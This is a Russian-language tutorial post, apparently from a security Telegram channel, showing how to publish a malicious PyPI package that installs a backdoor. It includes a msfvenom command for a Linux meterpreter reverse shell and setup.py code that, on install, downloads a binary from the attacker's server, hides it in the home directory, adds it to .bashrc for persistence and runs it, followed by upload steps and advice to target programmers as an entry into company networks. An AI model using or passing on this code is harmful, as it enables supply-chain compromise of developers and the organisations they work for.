Злая библиотека
RizaВсем привет!
Сегодня я бы хотела поделиться с вами методом получения отправной точки в сеть какого-либо предприятия. Приступим!
С чем мы имеем дело?
Слышали ли вы когда нибудь о PyPI, NPM или NuGet?
Я думаю, что хоть кто нибудь хотя бы одно из этого знает. Так вот, все это - репозитории с библиотеками или просто пакетами (утилитами например), написанными на том или ином языке. Например PyPI (Python Package Index) - это репозитории с python пакетами, которые публикует непосредственно само сообщество. Залить пакет туда может кто угодно и они никак толком не проверяются, чем собственно злоумышленник и может воспользоваться.
Сегодня мы создадим библиотеку для PyPI, которая при установке будет устанавливать в систему бекдор. Мы будем ориентироваться только на Linux системы в данном примере, так как кому надо - тот сделает это мультиплатформенным. Поехали!
Как устроен PyPI пакет?
PyPI пакет представляет из себя обычный tar.gz архив, в котором хранятся метаданные пакета (README например), сам код (.py), дополнительные данные (например в случае с python-geoip это GeoIP.dat (то есть сама база данных GeoIP)) и установочный скрипт (setup.py). Именно установочный скрипт будет нам интересен!
Что мы будем делать?
Мы добавим перед выполнением функции setup (), которая является частью setuptools, добавим код, который как раз и будет ставить бекдор.
Для начала давайте создадим сам бекдор. Я не буду сильно заморачиваться и сделаю это при помощи Metasploit.
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=IP_ВАШЕГО_СЕРВЕРА_С_METASPLOIT LPORT=4444 -f elf -o /var/www/html
Далее вам нужно настроить обработчик подключений для этого бекдора. Тут думаю вы сами справитесь :) (use exploit/multi/handler)
Создаем сам пакет
Для этого нужно установить утилиту twine, при помощи которой мы и будем заливать пакеты (клиент для PyPI). Пишем:
pip install twine
Далее создаем конфиг для твайна. Для этого нужно создать файл .pypirc в домашней дериктории.
touch ~/.pypirc
Далее откроем его и запишем туда конфиг:
[pypi]
username=ВАШ_ЛОГИН_ОТ_PYPI
password=ВАШ_ПАРОЛЬ_ОТ_PYPI
Как вы уже поняли, нужно создать аккаунт на PyPI :) Но это дело двух минут, так что не буду это расписывать :)
Далее создаем папку с пакетом:
mkdir evil_library
В ней нам нужно создать папку с самим пакетом
mkdir evilpackage
И создать в ней файл __init__.py, далее можно ничего не трогать в этой папке. Вернемся к evil_library.
Создать файл setup.cfg, в котором мы запишем установочные конфигурации.
[metadata]
description-file = README.md
[bdist_wheel]
universal=1
universal=1 - пакет годен для всех версий Python
description-file - указание файла с описанием пакета (у меня без него twine не хотел работать)
Далее создайте файл README.md
Его можно оставить пустым.
Создаем сам установочный скрипт setup.py
Пишем в него:
from setuptools import setup, find_packages
setup(
name = 'my_evil_library',
packages = find_packages (),
version = '0.1',
description = 'I will hack you :3',
author = 'Nobody',
url = 'http://example.com',
keywords = ['keyword?'],
classifiers = []
)
В name укажите имя (будет pip install имя), версию и тд
Далее собираем пакет в архив.
Выполняем:
python ./setup.py sdist
После успешного выполнения у вас в папке evil_library должна появится папка dist, в которой и будет лежать архив.
Распакуем его:
tar -xvf архив.tar.gz
Перейдем в распакованную папку.
Открываем файлик setup.py и до вызова функции setup () пишем вот этот код:
def rn():
import platform, os, stat
s = False
try:
import urllib2
except ImportError:
import http.client
s = True
PATH = "/out"
IP = "IP_ВАШЕГО_СЕРВЕРА"
LOC = ".drv"
if platform.system() == "Linux":
if not s:
response = urllib2.urlopen("http://" + IP + PATH).read()
else:
connection = http.client.HTTPConnection(IP)
connection.request("GET", PATH)
response = connection.getresponse().read()
os.chdir(os.path.expanduser("~"))
d = open(LOC, "wb")
d.write(response)
d.close()
current_state = os.stat(LOC)
os.chmod(LOC, current_state.st_mode | stat.S_IEXEC)
brc = open(".bashrc", "a")
brc.write("\n~/.drv &")
brc.close()
os.system("~/.drv")
else:
print("Error installing library!")
exit(-1)
rn()
Этот код проверяет, на какой системе он запущен и если это Linux, то скачивает с вашего сервера бинарник, кидает его в домашнюю директорию в виде скрытого файла .drv, задает ему права на исполнение и прописывает в .bashrc его запуск.
Сохраняем setup.py
У вас должно получится примерно такое:

Далее обратно пакуем всю папку.
Пишем tar -zvfc имя_архива имя_папки
Далее можно удалить эту папку.
Теперь нам осталось лишь отправить пакет на PyPI.
Пишем:
twine upload архив.tar.gz
Готово!
Мы сделали вставку кода не сразу, потому что twine бы ругался и не создавал бы пакет.
Так же можно склеить это с уже готовой библиотекой.
Осталось лишь, чтобы жертва установила наш пакет!
Тоже самое можно проделывать и с NPM, Gem, NuGet и тд
Программист - неплохая точка для входа в сеть компании или проникновения на продакшн сервер ;)
Спасибо за внимание!
t.me/tmgroupsecurity
@tmgroupsecurity